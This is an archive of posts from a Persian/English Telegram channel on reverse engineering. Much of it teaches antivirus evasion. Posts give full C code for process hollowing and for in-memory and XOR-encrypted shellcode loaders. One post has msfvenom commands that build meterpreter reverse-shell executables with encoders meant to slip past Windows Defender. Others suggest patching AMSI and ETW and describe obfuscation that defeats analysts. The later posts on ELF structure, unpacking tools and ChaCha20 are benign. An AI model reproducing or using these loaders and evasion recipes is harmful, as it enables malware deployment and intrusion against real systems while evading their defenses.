ReverseEngineering
Kanalga Telegram’da o‘tish
Ko'proq ko'rsatish
1 265
Obunachilar
Ma'lumot yo'q24 soatlar
-37 kun
+730 kun
Postlar arxiv
1 265
// 6. Set new entry point ctx.Rcx = (DWORD64)remoteMem; SetThreadContext(pi.hThread, &ctx); // 7. Resume execution ResumeThread(pi.hThread); return 0; }⚠️ Important Notes You must resolve NtUnmapViewOfSection dynamically (from ntdll.dll) or use a direct syscall Shellcode must match the architecture (x64 or x86) The process looks clean, but runs your payload! 😱 Why Process Hollowing is Dangerous ? ✅ Foolproof appearance in Task Manager ✅ No suspicious executable is dropped ✅ Many AVs/EDRs don’t perform memory analysis — especially if you combine with unhooking
1 265
🧟 Process Hollowing – قاپ زدن یه برنامه سالم برای اجرای یه چیز خبیث!
🎭 وقتی ظاهر Task Manager فریب میده...
فرض کن توی Task Manager یه process کاملا بیگناه میبینی مثلاً notepad.exe
ولی پشتش… شلکُد تو داره اجرا میشه 😈
این کار دقیقاً همونه که توی Process Hollowing اتفاق میافته:
🔬 مراحل کار:
1. یه پروسه سالم (مثلا notepad) رو بهصورت suspended اجرا میکنی
2 حافظه اون پروسه رو خالی (unmap) میکنی
3 شلکد خودتو مینویسی توی اون حافظه
4 اجرای اون پروسه رو شروع میکنی… اما این بار با کد تو!
🧬 کد C ساده – Process Hollowing در سطح پایه
#include <windows.h> #include <stdio.h> unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0 // shellcode واقعیتو جایگزین کن }; int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; // 1. ایجاد پروسهای که قراره hollow بشه (suspended) if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcess failed.\n"); return -1; } // 2. گرفتن context پردازنده (برای دسترسی به ریجسترها) GetThreadContext(pi.hThread, &ctx); // 3. خواندن آدرس پایه (ImageBase) از PEB LPVOID imageBase; ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL); // 4. پاک کردن حافظهی فعلی NtUnmapViewOfSection(pi.hProcess, imageBase); // نیاز به تعریف این تابع داری! // 5. اختصاص حافظه و نوشتن shellcode LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL); // 6. ست کردن آدرس Entry Point ctx.Rcx = (DWORD64)remoteMem; SetThreadContext(pi.hThread, &ctx); // 7. اجرای پروسه ResumeThread(pi.hThread); return 0; }⚠️ نکات خیلی مهم: باید NtUnmapViewOfSection رو از ntdll لود کنی یا با syscall صدا بزنی Shellcode حتماً باید با همون معماری target ساخته بشه (x64 یا x86) فایل اجرایی ظاهرش سالمه ولی در واقع شلکد تو اجرا میشه 😱 چرا Process Hollowing خطرناکه؟ ✅ ظاهر Task Manager دروغه ✅ هیچ فایل مشکوکی ایجاد نمیشه ✅ بسیاری از AV/EDRها نمیتونن تحلیل حافظه انجام بدن (مخصوصا اگه با تکنیکهای دیگه مثل unhook همراه شه) 🧟 Process Hollowing – Hijacking a Legit Process to Run Something Evil! 🎭 When Task Manager lies to your face... Imagine seeing a perfectly innocent process like notepad.exe in Task Manager — But under the hood... it’s running your shellcode 😈 That’s exactly what Process Hollowing does: 🔬 How It Works (Step-by-Step) 1 Launch a legit process (like notepad.exe) in suspended mode 2 Unmap its original memory 3 Write your own shellcode into that memory 4 Resume the process — but now, your code runs instead! 🧬 Basic C Code – A Simple Process Hollowing Example
#include <windows.h> #include <stdio.h> unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode }; int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; // 1. Start notepad in suspended mode if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcess failed.\n"); return -1; } // 2. Get the thread context (to access registers) GetThreadContext(pi.hThread, &ctx); // 3. Read ImageBase from PEB LPVOID imageBase; ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL); // 4. Unmap original image (NtUnmapViewOfSection must be resolved!) NtUnmapViewOfSection(pi.hProcess, imageBase); // 5. Allocate memory and write shellcode LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);
1 265
Code blocks are stored out of order in the binary.
Only during execution, via jmp or call, the real sequence unfolds.
🧩 Like solving a puzzle with no hints for the analyst.
8 VM-Based Obfuscation (Virtualization Protection)
🔐 The ultimate in code protection.
Critical logic is rewritten in a custom virtual instruction set and executed by an internal VM.
Used by tools like:
VMProtect
Code Virtualizer
Tigress
👀 Output becomes unreadable gibberish:
db 0x9F, 0xB3, 0x4D, 0x81⛔ To reverse it, you need: Deep understanding of the custom VM Reverse engineering the virtual machine itself Custom tooling
1 265
🧠 Obfuscation پیشرفته – ذهن تحلیلگر رو منفجر کن
1 Instruction Substitution (جایگزینی دستورات)
کد رو طوری بازنویسی میکنن که همون عملکرد رو بده ولی با دستورات متفاوت
مثال:
به جای:
mov eax, 0میشه نوشت:
xor eax, eaxیا یه چیز خیلی پیچیدهتر:
sub eax, eax add eax, eax⛔ ابزارهای تحلیل ساده مثل IDA ممکنه نفهمن اینا معادلن. 2 Stack Tampering (دستکاری استک) توابعی ساخته میشن که با push و pop و تغییر دستی ESP/EBP ساختار استک رو خراب میکنن در نتیجه بکتریس و call graph میریزه به هم اثرات: IDA تو تشخیص توابع به اشتباه میافته دیباگر دچار خطای نمایش Call Stack میشه 3 Inline Exception Handler Abuse برنامه طوری نوشته میشه که Exception تولید میکنه و توی handler تصمیم میگیره ادامه بده یا نه!
mov eax, 0 div eax ; Exception: divide by zero!در ادامه:
__try { // کد مشکوک } __except (EXCEPTION_EXECUTE_HANDLER) { // مسیر مخفی رو اجرا کن }🔒 خیلی از ابزارها این رفتار رو شناسایی نمیکنن. 4 Polymorphic Obfuscation کدی که هر بار اجراش فرق میکنه ولی نتیجه یکسانه معمولاً با Self-modifying code ترکیب میشه مثلا:
mov eax, 1 add eax, 1در نسخه دیگه تبدیل میشه به:
xor eax, eax inc eax inc eax📛 هر بار sign کردن یا هش کردن فایل متفاوت میشه → سخت برای آنتیویروسها و signature-based tools 5 Call Stack Hiding با Return Oriented Programming (ROP) کد اصلی هیچوقت اجرا نمیشه فقط با استفاده از گجتها و returnهای متوالی کار پیش میره! ✅ ضد دیباگ ✅ ضد sign ✅ فوقالعاده برای بایپس EDR/XDR 6 Anti-Deobfuscation Traps کدهایی که وقتی ابزار تحلیل (مثل Ghidra یا IDA) میخواد decompile کنه، باعث کرش یا اشتباه تو تحلیل میشن. مثلاً: invalid opcodes بخشهای ناقص در section header اجرای کد از data section 7 Code Transposition (جابجایی کد) بلاکهای کد تو فایل باینری به ترتیب نیستن فقط موقع اجرا از طریق jmp/call مناسب ترتیب اجراشون درست میشه برای تحلیلگر مثل یک پازل بدون راهنماست 8 VM-based Obfuscation (Virtualization Protection) 🔐 پیشرفتهترین سطح Obfuscation کل برنامه یا بخش حساس با زبانی مجازی نوشته میشه و یه VM داخلی اون رو اجرا میکنه. VMProtect، Tigress و Code Virtualizer از این روش استفاده میکنن 👀 خروجی فقط یهسری byte عجیبن، مثل:
db 0x9F, 0xB3, 0x4D, 0x81⛔ تحلیل اینا نیازمند: درک VM داخلی مهندسی معکوس ماشین مجازی ابزارهای custom 🧠 Advanced Obfuscation – Blow the Analyst’s Mind Let’s dive into some serious obfuscation techniques that break disassemblers, confuse debuggers, and frustrate reverse engineers: 1 Instruction Substitution Rewriting code to perform the same task using different instructions. Instead of:
mov eax, 0Use:
xor eax, eaxOr something even trickier:
sub eax, eax add eax, eax⛔ Basic analysis tools like IDA might fail to recognize these as equivalent. 2 Stack Tampering Functions are written to manipulate the stack manually using push, pop, or directly modifying ESP/EBP. 🧨 This breaks: Backtracing Call graphs Proper function recognition in IDA Stack display in debuggers 3 Inline Exception Handler Abuse The program intentionally causes an exception, then handles it to control execution flow:
mov eax, 0 div eax ; Division by zero!Then handles it:
__try { // Suspicious code } __except(EXCEPTION_EXECUTE_HANDLER) { // Execute hidden path }🔒 Many tools don't properly track this behavior. 4 Polymorphic Obfuscation The code changes each time it runs — but behaves the same. Often mixed with self-modifying code. Example:
mov eax, 1 add eax, 1Could become:
xor eax, eax inc eax inc eax📛 Every build is different → hard to sign, hash, or detect via static analysis. 5 Call Stack Hiding via Return-Oriented Programming (ROP) The real code never runs directly — instead, execution jumps through “gadgets” ending in ret. ✅ Anti-debug ✅ Signature-less ✅ Excellent for EDR/XDR evasion 6 Anti-Deobfuscation Traps Insert code that crashes or misleads analysis tools like IDA or Ghidra: Invalid opcodes Corrupted section headers Executing code from the .data section 💥 Boom — decompiler breaks or misinterprets. 7 Code Transposition (Block Reordering)
1 265
🕵🏻 شِلکُد مخفی: وقتی دشمن شل کد رو نمیفهمه!
AV/EDR
ها معمولا حافظه رو اسکن میکنن تا امضای شِلکُد رو پیدا کنن
حتی اگه فایل هم نداشته باشی ممکنه تو RAM پیدات کنن 😐
🧠 ولی اگه شلکدت رمزنگاری شده باشه چی؟
هیچ اثری از امضا نیست هیچ چیزی قابل تشخیص نیست...
تا وقتی خودموم توی لحظه اجرا، decryptش کنیم
🔐 رمزگذاری ساده با XOR
ما شلکد رو با یه کلید ساده 0xAA رمز میکنیم
بعد در زمان اجرا یه تابع کوچیک اون رو رمزگشایی میکنه
🔧 کد کامل C – اجرای شلکُد رمزنگاریشده
#include <windows.h> #include <stdio.h> unsigned char encrypted_shellcode[] = { 0x56, 0xe2, 0x29, 0x49 // چند بایت XOR شده برای مثال – جایگزین کن با شلکدت }; int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) { for (int i = 0; i < len; i++) { sc[i] ^= key; } return 0; } int main() { SIZE_T sc_len = sizeof(encrypted_shellcode); unsigned char key = 0xAA; // Allocate memory void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) return 1; // Decrypt memcpy(exec, encrypted_shellcode, sc_len); decrypt_shellcode((unsigned char*)exec, sc_len, key); // Run HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }⚙️ چطوری شلکدت رو XOR کنی؟ یه اسکریپت پایتون ساده:
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # شلکد خام key = 0xAA encrypted = bytes([b ^ key for b in shellcode]) print(', '.join(f'0x{b:02x}' for b in encrypted))📌 چرا این روش کار میکنه؟ ✅ چون تا لحظه آخر توی حافظه خبری از امضای واقعی نیست ✅ چون AVها فقط دنبال الگوهای مشخصن ✅ چون تا وقتی رمز باز نشه چیزی برای شناسایی وجود نداره 🕵🏻 Stealthy Shellcode: When the enemy can’t recognize your shellcode! AVs and EDRs often scan memory looking for shellcode signatures. Even if there's no file involved, they can still catch you in RAM. 😐 🧠 But what if your shellcode is encrypted? No signature. Nothing recognizable. Not until you decrypt it at runtime. 🔐 Simple XOR Encryption We encrypt the shellcode using a simple XOR key (e.g., 0xAA) Then, at runtime, we decrypt it with a tiny function — just before execution. 🔧 Full C Code – Running Encrypted Shellcode
#include <windows.h> #include <stdio.h> unsigned char encrypted_shellcode[] = { 0x56, 0xe2, 0x29, 0x49 // Encrypted bytes (example) — replace with your payload }; int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) { for (int i = 0; i < len; i++) { sc[i] ^= key; } return 0; } int main() { SIZE_T sc_len = sizeof(encrypted_shellcode); unsigned char key = 0xAA; // Allocate memory void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) return 1; // Copy and decrypt memcpy(exec, encrypted_shellcode, sc_len); decrypt_shellcode((unsigned char*)exec, sc_len, key); // Run HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }⚙️ How to XOR your shellcode? Just use a simple Python script:
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # Raw shellcode key = 0xAA encrypted = bytes([b ^ key for b in shellcode]) print(', '.join(f'0x{b:02x}' for b in encrypted))📌 Why does this work? ✅ Because there’s no detectable signature in memory ✅ Because AVs look for known patterns — not encrypted blobs ✅ Because until it's decrypted, there's nothing to recognize
1 265
👻 اجرای شِلکُد از حافظه بدون فایل، بدون ردپا!
دیگه وقتشه وارد بازی جدی بشیم
اگه تا حالا payload رو با فرمت exe ذخیره میگردی، بدون که اون دوره تموم شده
🕶 الان دیگه بازی توی RAM اتفاق میافته بدون نوشتن روی دیسک بدون امضا بدون آلارم!
💉 اجرای شلکد در حافظه با C
کد زیر:
یه آرایه از بایتها رو (یعنی همون شلکُد) توی حافظه کپی میکنه
با VirtualAlloc حافظه رزرو میکنه
بعد با CreateThread اجراش میکنه
#include <windows.h> #include <stdio.h> unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8"; // فقط چند بایت نمایشی – جایگزین کن با شلکُد واقعی int main() { void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!exec) { printf("VirtualAlloc failed\n"); return 1; } memcpy(exec, shellcode, sizeof shellcode); DWORD threadId; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, &threadId); if (!hThread) { printf("CreateThread failed\n"); return 1; } WaitForSingleObject(hThread, INFINITE); return 0; }📌 نکات مهم: باید شلکُد خام (مثلاً از msfvenom -f c) رو توی shellcode[] بذاری. کامپایل با MinGW توصیه میشه اگه شلکُدت 64 بیتی باشه باید با x86_64-w64-mingw32-gcc کامپایل کنی. 🚫 چرا این کد کمتر شناسایی میشه؟ 🔹 چون: هیچ فایل مخربی روی دیسک تولید نمیکنه هیچ string مشکوکی نداره (فقط چند API استاندارد) رفتار پیشفرض AVها باهاش مشکل نداره (مگر اینکه حافظه رو اسکن کنن) 🧨 اگه خواستی این کد هم بیشتر مخفی بشه: از تابع NtCreateThreadEx بهجای CreateThread استفاده کن (syscall) قبل از اجرا، ETW و AMSI رو پچ کن کل شلکُد رو با XOR رمزگذاری کن و هنگام اجرا Decrypt کن
1 265
🔬 تست ساده: Defender واقعا حواسش هست؟
بیاید یه تست کوچولو بگیریم از Windows Defender
ببینیم با یه payload کلاسیک چطور برخورد میکنه و چطور با یه ذره زرنگی میشه از روش رد شد!
🧪 ساختن یک فایل مشکوک
با متاسپلویت یا msfvenom یه shellcode تولید میکنیم
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe
📎 فایل evil.exe بهطور مستقیم توی بیشتر سیستمها شناسایی و حذف میشه چون امضاش معروفه
💥 نتیجه؟
🔴 Defender
سریع پاکش میکنه چون Signature detection جواب میده هنوز
🎭 Obfuscation ساده
حالا همین payload رو با encoder درون msfvenom رمزگذاری میکنیم
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe
📎 اینجا از encoder معروف shikata_ga_nai استفاده کردیم میتونیم تعداد دورهای رمزگذاری رو هم زیاد کنی (-i 5 یعنی ۵ بار)
✅ نتیجه؟
🟡 گاهی اوقات عبور میکنه گاهی نه بستگی به heuristic engine داره
🧩 ولی چرا این مهمه؟
چون:
امضا(Signature) ها با یه تغییر کوچیک بهم میریزن
ولی اگه سیستم رفتار shellcode رو تحلیل کنه (مثل EDR ها) هنوز میتونه بگیرت
📌 اینجا جرقه زده میشه که:
فقط obfuscation کافی نیست باید از حافظه استفاده کنیم باید به جای "نوشتن" "تزریق" کنیم...
1 265
🔪 بایپس آنتیویروسها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️
👺بایپس آنتیویروس یعنی ورود از در پشتی دنیای صفر و یک...
آنتیویروسها، EDRها و حتی XDRهای نسل جدید مثل سگهای نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگها همه چیز رو نمیفهمن.
👁 اونچیزی که یه ابزار امنیتی میبینه همیشه تمام واقعیت نیست ما یاد میگیریم چطور طوری حرکت کنیم که اصلا دیده نشیم نه با خشونت با ظرافت، با مهندسی.
💻 اینجا قرار نیست فقط یه "فایل مخرب" بسازیم که آنتیویروس رد نکنه اینجا نشونتون میدم:
چطور امضای تو توی باینری دیده نشه
چطور shellcode رو بدون صدا وارد حافظه کنیم
چطور توی دل process ویندوز جا خوش کنیم و حتی خود defender رو فریب بدیم
و در نهایت چطور همه لایههای دفاعی مثل AMSI، ETW، حتی SIEM رو دور بزنیم...
⚠️ ولی قبل از هرچیز باید بدونید با چی طرفید:
AV فقط دنبال فایل مشکوکه
EDR دنبال رفتار پروسس هاست
XDR دنبال ارتباط بین سیستمها و لاگ هاست
1 265
Repost from ReverseEngineering
کتاب Practical Binary Analysis نوشته Dennis Andriesse یکی از منابع عالی برای یادگیری مهندسی معکوس، تحلیل باینری و امنیت نرمافزار است این کتاب بهطور عملی و از پایه تحلیل باینری رو توضیح میده و به موضوعاتی مثل دیساسمبلی دیباگینگ مهندسی معکوس و تحلیل آسیبپذیریها رو میگه
موضوعات کلیدی کتاب:
مقدمهای بر معماری کامپیوتر و پردازندهها
کار با ابزارهای دیساسمبلر و دیباگر
مهندسی معکوس برنامههای کامپایلشده
تحلیل باینریها بدون نیاز به سورس کد
مفاهیم امنیتی مثل اکسپلویتنویسی و بایپس مکانیزمهای حفاظتی
1 265
Repost from ReverseEngineering
ابزارهای آنپکینگ و بایپس Obfuscation
خیلی از برنامههای پولی و بدافزارها پک یا مبهمسازی (Obfuscation) میشن تا مهندسی معکوسشون سخت بشه این ابزارها کمک میکنن که اونها رو آنپک کنید
UPX یه ابزار رایج برای فشردهسازی و آنپک کردن فایلها
Detect It Easy (DIE) تشخیص پکینگ و کامپایلرهای فایلهای اجرایی
x64dbg (با پلاگین Scylla) آنپک کردن فایلهای پکشده
Unpacker.me یه سرویس آنلاین برای آنپک کردن بعضی باینریها
وقتی برنامهای که داری بررسی میکنی کدش به نظر عجیب و مبهم میاد یا وقتی اجرا میشه خودش رو از حالت فشرده خارج میکنه
1 265
Repost from ReverseEngineering
ساختار فایل ELF در لینوکس
ELF (Executable and Linkable Format)
فرمت استاندارد فایلهای اجرایی در لینوکس و اندرویده ساختار ELF کمی متفاوت از PE هست ولی اصولش شبیه به همه
ساختار کلی یک فایل ELF:
| بخش | توضیح |
| ELF Header | اطلاعات کلی فایل اجرایی |
| Program Header Table | مشخصات سکشنهای اجرایی |
| Section Header Table | اطلاعات سکشنهای برنامه |
| Sections | بخشهای مختلف برنامه (کد، داده، منابع) |
با ابزار readelf یا objdump میتونید این اطلاعات رو ببینید
بخشهای مهم در فایل ELF
1 ELF Header:
شامل اطلاعات کلی فایل مثل نوع پردازنده نوع باینری (32 یا 64 بیت) و نقطه ورود (Entry Point)
2 Program Header Table:
این قسمت برای لود کردن فایل در حافظه استفاده میشه شامل ادرسهایی که باید به RAM منتقل بشن
3 Section Header Table (جدول سکشنها):
مثل PE فایلهای ELF هم چندین سکشن دارن:
4 Symbol Table:
اگه یه برنامه با دیباگ اطلاعات کامپایل شده باشه، توی این بخش اسم متغیرها و توابع رو میتونید ببینید
مقایسه PE و ELF در مهندسی معکوس
مهندسی معکوس در ویندوز معمولا روی PE و در لینوکس روی ELF انجام میشه، ولی اصول کلیشون شبیه به همه
ارتباط این اطلاعات با مهندسی معکوس
اگر بخواید کرک کنید یا آنپک کنید: باید Entry Point، Import Table و سکشنهای text. و data. رو بررسی کنید
اگر بخواید بدافزار انالیز کنید: باید ببینید که از چه APIهایی استفاده میکنه (Import Table یا PLT/GOT در ELF)
اگر بخواید یه برنامه رو دیباگ کنید: باید بدونید که کد اجرایی داخل text. هست و مقدار متغیرها توی data. ذخیره میشه
فایلهای اجرایی در ویندوز (PE) و لینوکس (ELF) ساختار خاصی دارن
PE شامل سکشنهایی مثل .text (کد برنامه) و .data (متغیرها) هست
ELF هم سکشنهای مشابهی داره ولی مکانیزم ایمپورتها در اون متفاوته
برای انالیز PE از ابزارهایی مثل PEview و برای ELF از readelf استفاده میشه
1 265
Repost from ReverseEngineering
ChaCha20 or Salsa20
یک الگوریتم رمزنگاریه که برای امنیت بالا و سرعت زیاد طراحی شده باهاش میشه دادهها رو رمزگذاری کرد تا کسی بدون کلید نتونه بخونه این الگوریتم جایگزین خوبی برای AES هست مخصوصاً توی موبایلها و پردازندههایی که سختافزار مخصوص رمزنگاری ندارن
چطوری کار میکنه؟
ChaCha20 یه جور رمزنگاری جریانیه، یعنی دادهها رو دونهدونه رمز میکنه نه بهصورت بلوکهای بزرگ
ورودیهاش چیه؟
یه کلید 256 بیتی همون رمز اصلی
یه مقدار تصادفی Nonce برای جلوگیری از تکراری شدن رمزها
یه شمارنده که توی هر بلاک تغییر میکنه
چی کار میکنه؟
چند تا عملیات ریاضی ساده مثل جمع XOR و چرخش بیتی روی دادهها انجام میده
این عملیات 20 بار تکرار میشه تا یه سری اعداد تصادفی قوی تولید کنه
این اعداد با متن اصلی ترکیب میشن و دادهی رمزگذاریشده تولید میشه
چرا از ChaCha20 استفاده کنیم؟
سریعتره چون نیاز به محاسبات پیچیدهی AES نداره
امنیت بالایی داره و در برابر حملات رمزنگاری مقاومه
روی موبایل و دستگاههای کمقدرت بهتر کار میکنه، چون نیاز به سختافزار خاصی نداره
در برابر حملات جانبی مثل حملات کش CPU امن تره
کجاها ازش استفاده میشه؟
توی HTTPS امن کردن اینترنت
توی WireGuard VPN برای اتصال امن
توی OpenSSH برای ارتباطات رمزگذاریشده
توی Google QUIC که اینترنت رو سریعتر و امنتر میکنه
1 265
Repost from ReverseEngineering
https://gchq.github.io/CyberChef
یک ابزار خوب برای تست رمزنگاری ها
